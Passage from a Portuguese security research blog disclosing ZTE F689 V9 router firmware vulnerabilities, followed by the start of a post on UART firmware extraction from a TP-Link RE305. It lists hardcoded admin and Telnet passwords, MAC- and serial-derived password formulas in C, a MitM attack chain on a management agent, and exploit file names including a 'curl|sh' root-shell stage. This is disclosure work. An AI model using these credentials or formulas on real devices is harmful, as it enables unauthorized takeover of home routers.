<h3>10.10 CVE-QQ — Senhas Admin Hardcoded <code>2029</code> e <code>superadmin</code> para ZTE F6600/CC=202 (CWE-798)</h3>
<p>O bloco de provisionamento para o modelo F6600 / CC=202 (variante Egito) contém dois literais de senha de administrador hardcoded no binário de produção:</p>
<p><strong>Evidência (offsets</strong> <code>0x28d700–0x28d720</code><strong>):</strong></p>
<pre><code class="language-plaintext">Def6600AdNewPass202\0  ← chave MIB
2029\0                 ← VALUE: senha admin hardcoded
Def6600SuNewPass202\0  ← chave MIB (superadmin)
superadmin\0           ← VALUE: senha superadmin hardcoded
</code></pre>
<p><code>2029</code> é trivialmente quebrável (4 dígitos). <code>superadmin</code> é um dos usernames/senhas mais comuns em listas de credenciais default de dispositivos de rede — presente na primeira linha de qualquer wordlist de IoT.</p>
<p><strong>Nota de escopo:</strong> Essas credenciais afetam o modelo F6600 e o deployment CC=202 (Egito), não o F689 V9 Claro Brasil. A evidência está no firmware do F689 porque a ZTE usa um binário <code>cspd</code> compartilhado entre múltiplos modelos, com provisionamento por CC code.</p>
<p>CVSS: <strong>8.8 High</strong> (<code>AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>)</p>
<h3>10.11 CVE-RR — Derivação Global de Credenciais admin/user/SIP via GPON SN (CWE-916)</h3>
<p>A função <code>GenRossnFromGponsn</code> em <code>bin/cspd</code>, chamada via <code>dbc_person_authinfo_product.c</code>, é o fallback de credencial para <strong>todos os deployments</strong> onde o ISP não define um literal hardcoded. Isso inclui as credenciais das contas <code>admin</code>, <code>user</code> e <code>SIP</code> (VoIP).</p>
<p><strong>Cadeia completa:</strong></p>
<pre><code class="language-plaintext">Qualquer deployment (sem literal hardcoded ISP-específico)
  → dbc_person_authinfo_product.c:GetAdminPwd()
  → _getGponSnfromTag()
  → GenRossnFromGponsn(GPON_SN)
  → senha de admin/user/SIP
</code></pre>
<p><strong>Impacto de escopo:</strong> CVE-MM cobre dois deployments específicos. CVE-RR é a vulnerabilidade subjacente que afeta <strong>todos os outros deployments</strong> do F689 V9 que não tenham um literal hardcoded ISP-específico. O GPON SN é um identificador de dispositivo que aparece no backup de configuração, na interface web, via SNMP, e é frequentemente correlacionável com o endereço MAC (captável passivamente).</p>
<p><strong>Diferença de CVSS vs CVE-MM:</strong> CVE-MM tem AV:A porque o GPON SN é obtido de forma mais direta. CVE-RR tem AC:H adicional porque correlacionar GPON SN a um dispositivo específico a partir de posição remota exige mais esforço.</p>
<p>CVSS: <strong>6.8 Medium</strong> (<code>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N</code>)</p>
<h3>10.12 CVE-SS — Credenciais de Gerência Derivadas de MAC: Megacable e TM Malaysia (CWE-330)</h3>
<p>Dois deployments usam os <strong>últimos 2 octetos do endereço MAC</strong> como componente de credencial de gerência — efetivamente reduzindo o espaço de senha para 65.536 combinações (2 bytes = 16 bits):</p>
<p><strong>Megacable México (CC=2018), offset</strong> <code>0x28878d</code><strong>:</strong></p>
<pre><code class="language-c">// senha do admin = "admin_" + sprintf("%02X%02X", mac[4], mac[5])
// ex: admin_A1B2  se MAC = XX:XX:XX:XX:A1:B2
snprintf(pwd, sizeof(pwd), "admin_%02X%02X", mac[4], mac[5]);
</code></pre>
<p><strong>TM Malaysia (Telkom Malaysia, CC=190), offsets</strong> <code>0x2887a0–0x2887c7</code><strong>:</strong></p>
<pre><code class="language-c">// tmadmin: "Adm@" + sprintf("%02X%02X", mac[4], mac[5])
// tmuser:  "Usr@" + sprintf("%02X%02X", mac[4], mac[5])
snprintf(admin_pwd, sizeof(admin_pwd), "Adm@%02X%02X", mac[4], mac[5]);
snprintf(user_pwd,  sizeof(user_pwd),  "Usr@%02X%02X", mac[4], mac[5]);
</code></pre>
<p><strong>Evidência raw no binário:</strong></p>
<pre><code class="language-plaintext">288790: 69 6e 5f 25 30 32 58 25 30 32 58 00 31 39 30 00   in_%02X%02X.190.
</code></pre>
<p>O endereço MAC completo de um dispositivo é visível em texto claro via ARP passivo em qualquer rede compartilhada, via Ethernet/WiFi sniffing, ou via DHCP offers. Com o MAC em mãos, o atacante deriva a senha de admin em milissegundos.</p>
<p><strong>Encadeamento com CVE-OO (Megacable):</strong> Megacable habilita HTTP e Telnet/2323 sem TLS. Um atacante que capture o MAC via WiFi e derive <code>admin_XX%02XX</code> tem acesso de admin total em cleartext. A combinação eleva o CVSS efetivo para o cenário de ataque completo.</p>
<p>CVSS: <strong>9.1 Critical</strong> (<code>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>) — Megacable (encadeado com CVE-OO e MAC visível); <strong>8.8 High</strong> (<code>AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>) — TM Malaysia standalone</p>
<h3>10.13 CVE-TT — Credencial Primária TR-069 ACS Derivada de GPON SN: Telmex e Tele* (CWE-916)</h3>
<p>As funções <code>TelmexSetTr069UsrPwd</code> em <code>0x291650</code> e <code>TeleSetTr069UsrPwd</code> em <code>0x291673</code>, ambas em <code>dbc_persion_mgt_product.c</code>, usam <code>_GetGponSnfromTag</code> → <code>StringToUpper</code> como fonte <strong>primária</strong> (não fallback) das credenciais TR-069 ACS para os deployments Telmex México e Tele* (múltiplos ISPs "Tele"-prefixados).</p>
<p><strong>Evidência — username ACS Telmex:</strong></p>
<pre><code class="language-plaintext">0x276e7e:  44 34 46 34 33 36 2d 25 73 00   "44F436-%s\0"   ← template de username ACS
0x276e88:  54 65 6c 6d 65 78 20 73 65 74   "Telmex set"    ← debug string confirma context
           20 61 63 73 20 75 73 65 72 6e    " acs usern"
           61 6d 65 3a 25 73 00             "ame:%s\0"
</code></pre>
<p>O username ACS é <code>44F436-&lt;GPON_SN_derivado&gt;</code> onde <code>44F436</code> é o OUI da ZTE. A senha vem da chave <code>Pwd_Telmex</code> em <code>/etc/hardcodefile/tr069</code>.</p>
<p><strong>Por que isso importa mais do que CVE-MM:</strong> O ACS TR-069 tem controle total sobre o dispositivo — ele pode ler toda a configuração, empurrar firmware, alterar credenciais de acesso, abrir portas. Uma credencial TR-069 comprometida é mais perigosa que uma credencial Telnet/SSH, porque o ACS não exige acesso de rede ao dispositivo — o <strong>dispositivo se conecta proativamente ao ACS</strong>.</p>
<p><strong>Impacto em escala:</strong> Telmex é o maior ISP do México. Cada dispositivo F689 V9 da base Telmex tem credencial TR-069 derivada do GPON SN. Um atacante que obtenha o GPON SN de um dispositivo Telmex (via backup config, interface web, ou correlação de MAC) pode se autenticar no ACS Telmex como aquele dispositivo e emitir comandos de gerência.</p>
<p>CVSS: <strong>7.4 High</strong> (<code>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N</code>)</p>
<h3>10.14 CVE-UU — Senha Telnet/SSH Hardcoded <code>Administrator</code> para Claro Argentina (CWE-798)</h3>
<p>O bloco de provisionamento Claro Argentina (CC=170) contém o literal <code>Administrator</code> como valor da chave MIB <code>TS_UPwd_170</code> — a senha do canal de gerência Telnet/SSH:</p>
<p><strong>Evidência (offsets</strong> <code>0x28d672–0x28d68b</code><strong>):</strong></p>
<pre><code class="language-plaintext">0x28d672: 54 53 5f 55 50 77 64 5f 31 37 30 00   "TS_UPwXXXXXX\0"  ← chave MIB
0x28d67e: 41 64 6d 69 6e 69 73 74 72 61 74 6f   "Administrato"
          72 00                                   "r\0"           ← VALOR: credencial Telnet/SSH
0x28d68c: 4c 69 73 74 20 46 57 49 50 20 56 69   "List FWIP Vi"  ← mensagem de erro seguinte
</code></pre>
<p><code>Administrator</code> é a conta padrão do Windows e está presente na primeira página de qualquer wordlist de credenciais de dispositivo de rede. É recuperável de <code>strings(1)</code> sem nenhuma ferramenta de análise.</p>
<p><strong>Contexto: dois canais comprometidos para o mesmo ISP:</strong></p>
<p>O bloco Claro Argentina tem hardcoded <strong>dois</strong> canais de gerência independentes:</p>
<table>
<thead>
<tr>
<th>Canal</th>
<th>CVE</th>
<th>Credencial</th>
</tr>
</thead>
<tbody><tr>
<td>Telnet/SSH</td>
<td>CVE-UU (este)</td>
<td><code>Administrator</code> (senha)</td>
</tr>
<tr>
<td>MQTT gerência</td>
<td>CVE-PP</td>
<td><code>testcpe</code>:<code>PepitoXXXXXXXX</code></td>
</tr>
</tbody></table>
<p>A co-ocorrência de credenciais de teste em dois canais distintos no mesmo bloco indica ausência total de revisão de credenciais antes do release para Claro Argentina.</p>
<p>CVSS: <strong>8.8 High</strong> (<code>AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>), subindo para 9.8 Critical se WAN Telnet estiver habilitado</p>
<h3>10.15 CVE-VV — Agente Beegol: TOFU + Broadcast MQTT + Update Sem Assinatura (CWE-295/284/494)</h3>
<p>O firmware embarca o agente de gerência remota de terceiros <code>usr/bin/beegol-agent/ba</code> v4.13, operado pela empresa beegol em contrato com a Claro Brasil. O binário corre como <strong>root</strong> sem contenção e apresenta quatro vulnerabilidades que se encadeiam em RCE remoto:</p>
<p><strong>B1 — Trust-on-First-Use (CWE-296):</strong> Na primeira inicialização, o agente busca o próprio CA de validação TLS do servidor <em>sem nenhum CA pré-instalado</em>, aceitando qualquer CA servido por um atacante on-path. Confirmado dinamicamente (2026-05-11): o <code>ca.pem</code> do atacante foi salvo permanentemente — MD5 idêntico ao CA original.</p>
<p><strong>B2 — Canal MQTT de Broadcast (CWE-284):</strong> Todos os dispositivos subscrevem ao tópico único <code>beegol/test/cmd</code>. Qualquer publicação neste tópico com campo <code>cmd_line</code> executa comandos shell como root em <strong>toda a base de assinantes simultaneamente</strong>. O nome <code>test</code> no tópico de produção indica promoção de ambiente de desenvolvimento sem revisão.</p>
<p><strong>B3 — Chave de Identidade Exfiltrada (CWE-312):</strong> O POST <code>/registry</code> envia uma chave simétrica de 32 bytes via canal TLS comprometido pelo B1 — capturada dinamicamente no MitM de 2026-05-11.</p>
<p><strong>B5 — Update Sem Assinatura (CWE-494):</strong> O agente baixa <code>payload.tar</code> e executa <code>install.sh</code> como root sem verificação criptográfica. Confirmado dinamicamente: <code>install.sh</code> benigno executado como root via MitM, <code>uid=0</code> confirmado.</p>
<p><strong>Evidência adicional:</strong> O CA embarcado tem <code>CN=BeegolTestCA, O=TestCA</code> — CA de teste em produção. O certificado TLS de <code>beegolv4.virtua.com.br</code> (o endpoint Claro Brasil) está <strong>expirado desde 05/12/2025</strong> — o agente conecta sem validar (confirma B1).</p>
<p><strong>Cadeia de ataque confirmada (lab, 2026-05-11):</strong></p>
<pre><code class="language-plaintext">Atacante on-path → substitui ca.pem (B1) → decripta TLS → captura chave 32B (B3)
→ serve payload.tar malicioso (B5) → install.sh executa como root → RCE permanente
</code></pre>
<p>CVSS cadeia B1+B5: <strong>8.1 High</strong> (<code>AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H</code>)<br />CVSS B2 (se ACLs ausentes): <strong>9.9 Critical</strong> (<code>AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</code>)</p>
<p>PoC: <code>exploits/beegol/poc/beegol_registry_probe.py</code>, <code>beegol_mqtt_acl_test.py</code>, <code>mitm_server.py</code><br />Relatório completo: <code>cve_docs/CVE_VV_Beegol_Agent_TOFU_BroadcastMQTT_UnsignedUpdate_PT-BR.md</code></p>
<hr />
<h3>10.16 CVE-WW — Credenciais de Gerência Derivadas de MAC para Orange (CC=2052) (CWE-1392)</h3>
<p>Extensão direta do padrão CVE-SS, o CC code 2052 (Orange ISP — identificado por <code>Orange-internet</code>, <code>LiveboxFiber</code>, <code>sftp.orange.es</code>, <code>karma.orange.com</code> e múltiplas funções Orange Africa/Europa no mesmo binário) usa um template de credencial derivado dos dois últimos bytes do MAC:</p>
<pre><code class="language-bash">$ strings -a bin/cspd | sed -n '17403,17407p'
admin%02x%02x     ← username: "admin" + 2 bytes MAC (hex minúsculo)
2052              ← CC code Orange
%02X%02X%x%x%x%x  ← formato alternativo (MAC completo)
Orange%02X%02X    ← password: "Orange" + 2 bytes MAC (hex maiúsculo)
</code></pre>
<p>O MAC é transmitido em broadcast L2, impresso na etiqueta do dispositivo, e visível em qualquer tabela ARP/DHCP — não há entropia efetiva na credencial. Os mercados Orange identificados no mesmo binário incluem: Espanha, França, Marrocos, Costa do Marfim, Burkina Faso, Senegal, Congo, Polônia, Jordânia e Libéria.</p>
<table>
<thead>
<tr>
<th>Campo</th>
<th>Valor</th>
</tr>
</thead>
<tbody><tr>
<td>CWE</td>
<td>CWE-1392 (Default Credentials), CWE-330 (Insufficient Randomness)</td>
</tr>
<tr>
<td>CVSS</td>
<td><strong>8.8 High</strong> (<code>AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>)</td>
</tr>
<tr>
<td>WAN exposta</td>
<td>9.8 Critical (<code>AV:N</code>)</td>
</tr>
<tr>
<td>Padrão similar</td>
<td>CVE-SS (Megacable <code>admin_%02X%02X</code>, TM Malaysia <code>Adm@%02X%02X</code>)</td>
</tr>
</tbody></table>
<p>Relatório completo: <code>cve_docs/CVE_WW_Orange_MAC_Derived_Credentials_CC2052.md</code></p>
<hr />
<h3>10.17 Padrão Sistêmico: Uma Vulnerabilidade, Múltiplos Países</h3>
<p>A segunda fase de pesquisa revelou um padrão que vai além de vulnerabilidades individuais: a ZTE centraliza o provisionamento de credenciais de todos os ISPs em <strong>um único binário</strong> (<code>bin/cspd</code>), com literais hardcoded indexados por código CC. Isso significa que:</p>
<ol>
<li><p><strong>Uma análise de firmware expõe credenciais de 12+ países simultaneamente</strong> — qualquer pesquisador (ou ator malicioso) que baixe o firmware do Claro Brasil (CVE-B: HTTP sem auth) obtém as credenciais de MGTS Russia, Telmex México, TM Malaysia, Megacable, Claro Argentina, Albania ONE, entre outros.</p>
</li>
<li><p><strong>Um patch de firmware de um ISP não corrige os demais</strong> — se a Claro Brasil aplicar uma atualização que remove <code>Administrator</code> do binário, o patch completo para Claro Argentina exige que a ZTE atualize o mesmo binário compartilhado e o distribua via TR-069 para todos os ISPs afetados simultaneamente.</p>
</li>
<li><p><strong>A superfície de ataque cresce com cada ISP adicionado</strong> — cada novo deployment ISP adicionado ao mesmo binário <code>cspd</code> expõe as credenciais de todos os deployments anteriores para o novo ISP, e vice-versa.</p>
</li>
</ol>
<hr />
<h2>11. Considerações Finais</h2>
<p>Comecei essa pesquisa porque queria modo bridge no meu roteador. Terminei encontrando vinte e cinco vulnerabilidades e reportando pra ZTE PSIRT, Claro Brasil CSIRT e CERT.br.</p>
<p>Essa escalada pode parecer dramática, mas reflete uma realidade genuína sobre segurança de gateways residenciais: esses dispositivos são, em agregado, infraestrutura crítica. Eles ficam na fronteira entre milhões de residências e a internet. São gerenciados remotamente por ISPs. Raramente são atualizados. Rodam o mesmo binário de firmware, com as mesmas credenciais hardcoded, em toda sua base de assinantes.</p>
<p>O modelo de segurança pra CPE sempre foi um pouco estranho: o dispositivo mora fisicamente na casa do assinante, mas o ISP é dono da camada de gerência. TR-069 dá aos ISPs poder extraordinário sobre dispositivos que eles não controlam fisicamente. Esse poder só faz sentido se o ACS estiver seguro , e a CVE-D mostra o que acontece quando não está.</p>
<p>Quero ser claro quanto ao escopo: essa pesquisa foi conduzida inteiramente no meu próprio dispositivo, na minha própria rede, com minha própria assinatura. Eu não tentei acessar o dispositivo de nenhum outro assinante. O teste contra o ACS foi limitado a verificar a falha de autenticação; não mandei comandos pra dispositivos reais, não modifiquei nenhuma configuração real, e encerrei cada teste imediatamente após confirmar a vulnerabilidade.</p>
<p>Disclosure responsável importa. ZTE e Claro foram notificadas com embargo de 90 dias. Quando você estiver lendo isso, patches devem estar em progresso , ou o embargo terá expirado e isso está sendo publicado como pressão pra agirem.</p>
<p>Se você é um pesquisador de segurança que ainda não olhou pra firmware embarcado: é mais acessível do que parece. As ferramentas são boas, a comunidade de documentação é ativa (hardwear.io, pesquisa da binarly.io, a comunidade de embedded security no Twitter), e há uma quantidade enorme de firmware implantado e sub-analisado por aí. Seu roteador fornecido pelo ISP é um alvo perfeitamente legal pra pesquisa de segurança, e há uma boa chance de que ninguém tenha olhado pra ele com cuidado.</p>
<p>O fato de eu ter encontrado vinte e cinco vulnerabilidades tentando habilitar modo bridge diz alguma coisa sobre o estado da segurança de gateways residenciais. Não deveria ser tão fácil. Mas já que é , vai lá olhar.</p>
<hr />
<p><em>t1m3</em></p>
<hr />
<h2>Apêndice A , Sumário das CVEs</h2>
<h3>Fase 1 — Análise Inicial (Abril de 2026)</h3>
<table>
<thead>
<tr>
<th>ID Interno</th>
<th>Título</th>
<th>CVSS v3.1</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td>CVE-2026-XXXXX (CVE-A)</td>
<td>OS Command Injection , Interface de Ping</td>
<td>8.8 High*</td>
<td>*Bloqueada pelo ChkLanWanCon , documentada por completude; não submetida separadamente à MITRE</td>
</tr>
<tr>
<td>CVE-2026-49007 (CVE-B)</td>
<td>Credenciais Hardcoded , credential store webpri</td>
<td>10.0 Critical</td>
<td>Confirmada , todas as credenciais descriptografadas</td>
</tr>
<tr>
<td>CVE-2026-49008 (CVE-C)</td>
<td>Par de Chaves RSA-4096 Compartilhado</td>
<td>8.1 High</td>
<td>Confirmada , par de chaves extraído e verificado</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-D)</td>
<td>ACS TR-069 Aceita Inform Sem Autenticação</td>
<td>10.0 Critical</td>
<td>Confirmada dinâmica , 160/160</td>
</tr>
<tr>
<td>CVE-2026-49005 (CVE-E)</td>
<td>Hash de Senha Root Compartilhado</td>
<td>8.1 High</td>
<td>Confirmada , hash extraído, não quebrado</td>
</tr>
<tr>
<td>CVE-2026-49006 (CVE-F/disc)</td>
<td>Certificado TLS Compartilhado</td>
<td>7.4 High</td>
<td>Confirmada , chave privada extraída</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-G)</td>
<td>OS Command Injection , Traceroute</td>
<td>8.8 High</td>
<td>RE estática confirmada , dinâmica bloqueada por config do ISP</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-H)</td>
<td>OS Command Injection , TcpDump via IFName</td>
<td>7.2 High</td>
<td>RE estática confirmada , endpoint não exposto em BCH</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-I)</td>
<td>Autenticação Agnóstica ao Username</td>
<td>5.3 Medium</td>
<td>Confirmada dinâmica , 6/6 variantes de username bem-sucedidas</td>
</tr>
</tbody></table>
<h3>Fase 2 — Análise Estática Aprofundada (Junho de 2026)</h3>
<table>
<thead>
<tr>
<th>ID Interno</th>
<th>Título</th>
<th>CVSS v3.1</th>
<th>ISPs/Países Afetados</th>
<th>Status</th>
</tr>
</thead>
<tbody><tr>
<td>CVE-2026-XXXXX (CVE-J)</td>
<td>Stack Overflow Pré-Auth em <code>httpd</code> , RCE como Root (CWE-121)</td>
<td>9.8 Critical</td>
<td>Todos os deployments F689 V9</td>
<td>Confirmado dinamicamente , root em /proc/self/status</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-II)</td>
<td>Chave AES Hardcoded em <code>passpppoe.so</code> , Credenciais PPPoE (CWE-321)</td>
<td>7.5 High</td>
<td>Todos os deployments</td>
<td>Confirmada , literal binário extraído</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-JJ)</td>
<td>URLs de ACS TR-069 Hardcoded + Fallback Credential Multi-ISP (CWE-798/CWE-319)</td>
<td>7.4 High</td>
<td>7 ISPs: BR/RU/ID/IN/MX/MY/AL</td>
<td>Confirmada , 2 ISPs com HTTP/7547 sem TLS</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-KK)</td>
<td>Artefatos FTP de Desenvolvimento na Imagem de Produção (CWE-489)</td>
<td>5.3 Medium</td>
<td>Todos os deployments</td>
<td>Confirmada , artefatos listados</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-LL)</td>
<td>Senha RADIUS Hardcoded <code>m3g4c4bXXXXX</code> , Megacable México (CWE-798)</td>
<td>7.5 High</td>
<td>Megacable México (CC=2018)</td>
<td>Confirmada , literal binário em <code>bin/cspd</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-MM)</td>
<td>Credencial Telnet/Samba/FTP Derivada de GPON SN: ISP-198 e CC=66 (CWE-916)</td>
<td>7.4 High</td>
<td>ISP-198 (gerência) / Tailândia (CC=66)</td>
<td>Confirmada , cadeia <code>GenRossnFromGponsn</code> mapeada</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-NN)</td>
<td>Senha Admin Hardcoded <code>superinea</code> , MGTS Rússia CC=118 (CWE-798)</td>
<td>8.8 High</td>
<td>MGTS Rússia (CC=118)</td>
<td>Confirmada , literal <code>0x28d172</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-OO)</td>
<td>Protocolos de Gerência Inseguros por ISP: HTTP/Telnet/2323 (CWE-319)</td>
<td>8.1–8.8 High</td>
<td>Megacable México, Albania ONE</td>
<td>Confirmada , strings de config em <code>bin/cspd</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-PP)</td>
<td>Credenciais MQTT de Teste Hardcoded , Claro Argentina (CWE-798)</td>
<td>5.3 Medium</td>
<td>Claro Argentina (CC=170)</td>
<td>Confirmada , <code>testcpe</code>/<code>PepitopXXXXXX.</code> em <code>0x28d6d4</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-QQ)</td>
<td>Senhas Admin Hardcoded <code>2029</code>/<code>superadmin</code> , ZTE F6600/CC=202 Egito (CWE-798)</td>
<td>8.8 High</td>
<td>CC=202 (Egito/F6600)</td>
<td>Confirmada , literais em <code>0x28d700</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-RR)</td>
<td>Derivação Global admin/user/SIP via GPON SN , Fallback Universal (CWE-916)</td>
<td>6.8 Medium</td>
<td>Todos os deployments sem literal ISP-específico</td>
<td>Confirmada , <code>dbc_person_authinfo_product.c</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-SS)</td>
<td>Credenciais de Gerência Derivadas de MAC , Megacable e TM Malaysia (CWE-330)</td>
<td>9.1 Crit./8.8</td>
<td>Megacable México (CC=2018), TM Malaysia (CC=190)</td>
<td>Confirmada , <code>admin_%02X%02X</code> em <code>0x28878d</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-TT)</td>
<td>Credencial TR-069 ACS Primária via GPON SN , Telmex/Tele* (CWE-916)</td>
<td>7.4 High</td>
<td>Telmex México e ISPs Tele*</td>
<td>Confirmada , <code>TelmexSetTr069UsrPwd@XXXXXX</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-UU)</td>
<td>Senha Telnet/SSH Hardcoded <code>Administrator</code> , Claro Argentina (CWE-798)</td>
<td>8.8 High</td>
<td>Claro Argentina (CC=170)</td>
<td>Confirmada , <code>TS_UPwd_170</code> → <code>Administrator</code> em <code>0x28d67e</code></td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-VV)</td>
<td>Beegol Agent: TOFU + Broadcast MQTT + Update Sem Assinatura (CWE-295/284/494)</td>
<td>8.1–9.9</td>
<td>Todos CPEs Claro Brasil com beegol-agent ativo</td>
<td>Confirmada dinamicamente (MitM lab 2026-05-11)</td>
</tr>
<tr>
<td>CVE-2026-XXXXX (CVE-WW)</td>
<td>Credenciais de Gerência Derivadas de MAC: Orange CC=2052 (CWE-1392)</td>
<td>8.8 High</td>
<td>Orange (Espanha/França/África — CC=2052)</td>
<td>Confirmada estática, <code>admin%XXXXX</code>/<code>Orange%XXXXXX</code> em strings</td>
</tr>
</tbody></table>
<h2>Apêndice B , Arquivos Afetados</h2>
<pre><code class="language-plaintext">bin/cspd                                      , daemon principal: handlers de injection, provisionamento
                                                ISP-específico (CVE-G, CVE-H, CVE-II, CVE-JJ,
                                                CVE-KK, CVE-LL, CVE-MM, CVE-NN, CVE-OO, CVE-PP,
                                                CVE-QQ, CVE-RR, CVE-SS, CVE-TT, CVE-UU, CVE-WW)
bin/httpd                                     , servidor web customizado ZTE: stack overflow pré-auth
                                                em check_data_integrity@0x23d58 (CVE-J, RCE root)
etc/hardcodefile/webpri                       , credential store criptografado com AES (CVE-B)
etc/hardcodefile/hardcode                     , material de derivação de chave
etc/hardcodefile/tr069                        , credenciais TR-069 por ISP, incluindo Pwd_Telmex (CVE-TT)
etc/private-key.pem                           , chave privada RSA-4096 (headers Check e overflow CVE-J)
etc/server-key.pem                            , chave privada TLS RSA-2048
etc/server-cert.pem                           , certificado TLS (compartilhado, validade de 100 anos)
etc/shadow                                    , hash da senha root
home/httpd/webmodules/modules/networkdiag_traceroute_lua.lua
home/httpd/webmodules/modules/networkdiag_ping_lua.lua
home/httpd/webmodules/config/gui_dmenu.lua
home/httpd/thinklua/user_mgr/usermgr_logic_impl.lua
home/httpd/thinklua/template/commpage_status_comm.lp   , chave pública RSA (usada em CVE-J)
lib/libhardcode.so                            , implementação da descriptografia de credenciais
lib/libcfapi.so                               , validadores ChkHost, ChkLanWanCon
lib/liboss.so                                 , implementação de IPC/PcStartProgram
lib/passpppoe.so                              , chave AES hardcoded para credenciais PPPoE (CVE-II)

Exploits (diretório exploits/):
  httpd_check_overflow.py     , verificação do reach pré-auth (CVE-J fase 1)
  httpd_rce_bsswrite.py       , chain ROP completa write-what-where para .bss (CVE-J fase 2)
  exploit_shell_full.py       , staging automatizado: curl|sh → root shell (CVE-J fase 3)
  tracert_inject_test.py      , PoC de injeção no traceroute (CVE-G)
  acs_inform_spoof.py         , PoC de Inform não-autenticado no ACS (CVE-D)
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Extração de Firmware via UART em TP-Link RE305 AC1200]]></title><description><![CDATA[TL;DR
Peguei um TP-Link RE305 AC1200 (range extender, SoC MediaTek MT7628) e fui ver onde o vendor abriu mão de defesa em profundidade. Achei os pads UART na PCB com silkscreen completo, soldei, derru]]></description><link>https://t1m3rev.hashnode.dev/extra-o-de-firmware-via-uart-em-tp-link-re305-ac1200</link><guid isPermaLink="true">https://t1m3rev.hashnode.dev/extra-o-de-firmware-via-uart-em-tp-link-re305-ac1200</guid><category><![CDATA[hacking]]></category><category><![CDATA[brasil]]></category><category><![CDATA[uart]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Viktor Mota]]></dc:creator><pubDate>Wed, 27 May 2026 05:20:06 GMT</pubDate><content:encoded><![CDATA[<h2>TL;DR</h2>
<p>Peguei um TP-Link RE305 AC1200 (range extender, SoC MediaTek MT7628) e fui ver onde o vendor abriu mão de defesa em profundidade. Achei os pads UART na PCB com silkscreen completo, soldei, derrubei o U-Boot durante a janela de boot, dumpei as partições de SPI flash via <code>md.b</code>. Duas surpresas no caminho. A partição <code>file-system</code> saiu high-entropy, ciphertext puro — provavelmente encrypt-at-rest via engine de hardware do MT7628, defesa contra adversário que dessolda o chip. E o console serial dropando direto num shell root pós-boot, sem senha — exatamente o adversário que o encrypt-at-rest <em>deveria</em> proteger contra. Daí em diante o device entrega uma superfície interna que mereceria um paper inteiro só sobre ela.</p>
<p>O ponto do paper é mostrar como uma interface de debug ativa em produção colapsa o modelo de confiança da plataforma. No nível U-Boot, nada do que se espera de defesa em profundidade existe. No nível Linux, mesmo depois do boot, o estado runtime continua trivialmente comprometível por qualquer um com cabo serial e um conversor USB-UART barato.</p>
<hr />
<h2>1. Introdução</h2>
<p>UART tá em todo embarcado que eu já abri. Roteador SOHO, IP camera, gateway de operadora, mesh node, extender, robô aspirador, switch etc etc etc. Plataforma Ralink, MediaTek, Realtek, Qualcomm, o padrão se repete: pads na PCB com ou sem silkscreen, console serial sem senha no U-Boot, janela de boot interruptível, shell ou getty fraco no Linux.</p>
<p>Tirando vendor que fez secure boot com fuse (caro, raro nesse segmento), qualquer um com 30 minutos de bancada extrai firmware, recupera secrets, identifica daemons proprietários que viram superfície de CVE remoto, e na maioria das vezes persiste implante no bootloader.</p>
<p>O passo a passo abaixo foi num RE305 AC1200 comprado por mim (ou ganhado, não lembro), analisado em lab próprio. Escolhi por motivo prático. Plataforma MT7628 é irmã do que rodou em OpenWrt antigo, código de referência farto pra cruzar. Flash de 8 MiB cabe em dump serial sem dessoldar o chip. E o vendor reaproveita o mesmo U-Boot e kernel entre dezenas de SKUs, então achado aqui tende a se reproduzir em outros modelos da família TP-Link RE.</p>
<hr />
<h2>2. Dispositivo-alvo</h2>
<table>
<thead>
<tr>
<th>Componente</th>
<th>Valor</th>
</tr>
</thead>
<tbody><tr>
<td>SoC</td>
<td>MediaTek MT7628 (MIPS 24Kc @ 580 MHz)</td>
</tr>
<tr>
<td>RAM</td>
<td>64 MiB DDR (single-rank 512 Mbits, 16-bit bus)</td>
</tr>
<tr>
<td>Flash</td>
<td>SPI NOR 8 MiB, Micron N25Q064A13ESE40F (<code>mfg 0x20 / dev 0x7017</code>)</td>
</tr>
<tr>
<td>Bootloader</td>
<td>Ralink U-Boot 1.1.3, build <code>Feb 12 2020 17:52:49</code></td>
</tr>
<tr>
<td>Kernel</td>
<td>Linux 2.6.36 vanilla MIPS, build <code>Wed Feb 12 17:57:54 CST 2020</code></td>
</tr>
<tr>
<td>Userspace</td>
<td>procd init (OpenWrt-derivado), SquashFS readonly</td>
</tr>
<tr>
<td>Mapeamento flash</td>
<td><code>0xBC000000</code> (KSEG1 uncached, MIPS)</td>
</tr>
<tr>
<td>Console UART</td>
<td>57600 8N1 (<code>console=ttyS1,57600n8</code>)</td>
</tr>
<tr>
<td>Bootdelay</td>
<td>1 segundo</td>
</tr>
</tbody></table>
